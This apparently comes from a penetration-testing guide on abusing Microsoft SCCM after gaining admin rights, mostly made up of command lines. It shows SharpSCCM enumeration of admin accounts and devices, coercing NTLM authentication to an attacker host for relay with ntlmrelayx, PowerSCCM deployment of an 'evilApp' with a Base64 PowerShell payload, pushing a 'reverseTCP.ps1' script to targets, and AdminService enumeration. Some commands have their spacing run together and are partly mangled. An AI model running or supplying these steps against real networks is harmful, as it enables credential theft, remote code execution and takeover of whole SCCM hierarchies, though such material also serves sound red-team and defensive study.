Since the main goal of SCCM is to deploy applications and services on the managed assets of the Active Directory, it is also a pretty good candidate to move latteraly on the network. With administrative rights on the primary site server, this can be done by deploying applications and scripts on the targets or coercing clients' authentication.
Additionnaly, SCCM permits to enumerate many data on the ressources. Among all the services offered by SCCM to the administrator, there is one named CMPivot. This service, located on the MP server, can enumerate all the resources of a computer or computer collection (installed software, local administrators, hardware specification, etc.), and perform administrative tasks on them. It uses a HTTP REST API, named AdminService, provided by the SMS Provider server.
Finally, as indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.
This means that there is no security boundary between SCCM sites in a same hierarchy, and being able to takeover one SCCM site implicates to takeover all the others.
Practice
Admin & Special Account Enumeration
This step requires administrative privileges over the SCCM Management Point (MP) in order to query the MP's WMI database.
Admin Users
SharpSCCM.exe get class-instances SMS_ADMIN
Special Accounts
SharpSCCM.exe get class-instances SMS_SCI_Reserved
# Search for device of user "Frank.Zapper"SharpSCCM.exe get primary-users -u Frank.Zapper# List all active SCCM devices where the SCCM client is installed ### CAUTION: This could be hugeSharpSCCM.exe get devices -w "Active=1 and Client=1"
Step 3: Deploy Application to target device
In this final step you can chose to either create an actual application to deploy to the target machine or just trigger an install from a remote UNC path in order to capture and relay an incoming NTLM authentication. Note the following:
Coercing an authentication might be stealthier (and requires less cleanup) than installing an application
To capture and relay NTLM credentials, the target device must support NTLM (very likely).
The neat part: The Authentication can be coerced using the primary user account of the device OR the device computer account (you can choose)
# Prep capturing server## ntlmrelayx targeting 10.250.2.179ntlmrelayx.py-smb2support-socks-ts-ip10.250.2.100-t10.250.2.179# Also keep Pcredz running, just in casePcredz-ienp0s8-t
# Run the attackSharpSCCM.exe exec -rid <TargetResourceID>-r <AttackerHost>
Note that the incoming authentication requsts might take a while (couple minutes) to roll in...
With sufficient rights on the central SCCM server (sufficient rights on WMI), it is possible to deploy applications or scripts on the Active Directory machines with PowerSCCM (Powershell).
# Create a SCCM Session via WMI with the Site CodeFind-SccmSiteCode-ComputerName SCCMServerNew-SccmSession-ComputerName SCCMServer -SiteCode <site_code>-ConnectionType WMI# Retrieve the computers linked to the SCCM serverGet-SccmSession|Get-SccmComputer# Create a computer collectionGet-SccmSession|New-SccmCollection-CollectionName "collection"-CollectionType "Device"# Add computers to the collectionGet-SccmSession|Add-SccmDeviceToCollection-ComputerNameToAdd "target"-CollectionName "collection"# Create an application to deployGet-SccmSession|New-SccmApplication-ApplicationName "evilApp"-PowerShellB64 "<powershell_script_in_Base64>"# Create an application deployment with the application and the collection previously createdGet-SccmSession | New-SccmApplicationDeployment -ApplicationName "evilApp" -AssignmentName "assig" -CollectionName "collection"
# Force the machine in the collection to check the application update (and force the install)Get-SccmSession|Invoke-SCCMDeviceCheckin-CollectionName "collection"
If deploying applications fails, deploying CMScripts is an alternative, which requires a "Configuration Manager" drive on the SCCM server.
This pull request on PowerSCCM can be used to do everything in one command. It uses the script configurationmanager.psd1 created by Microsoft, usually installed on SCCM servers.
# Create a CM drive if it doesn't already exist and deploy a CMScript on a targetNew-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'
AdminService API
It appears that, with SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation purpose.
From UNIX-like systems, sccmhunter (Python) can be used for this purpose.
From Windows systems, SharpSCCM (C#) can be used for this purpose.
Step 1: retrieve the ID of the resource to enumerate (a computer or a computer collection)
SharpSCCM.exe get resource-id -d "COMPUTER"
Step 2: execute administrative tasks with CMPivot requests
# Enumerate the local administratorsSharpSCCM.exe invoke admin-service -r <resource_ID>-q "Administrators"-j# Enumerate the installed softwaresSharpSCCM.exe invoke admin-service -r <resource_ID>-q "InstalledSoftware"-j
Instructions about how to write CMPivot queries are presented here.
SCCM Hierarchy takeover
There is nothing to do. Just promote a user to any SCCM administrative role on a primary site server (for example, Full Administrator), and the role will be automatically propagated to the other SCCM site in the hierarchy by the CAS.
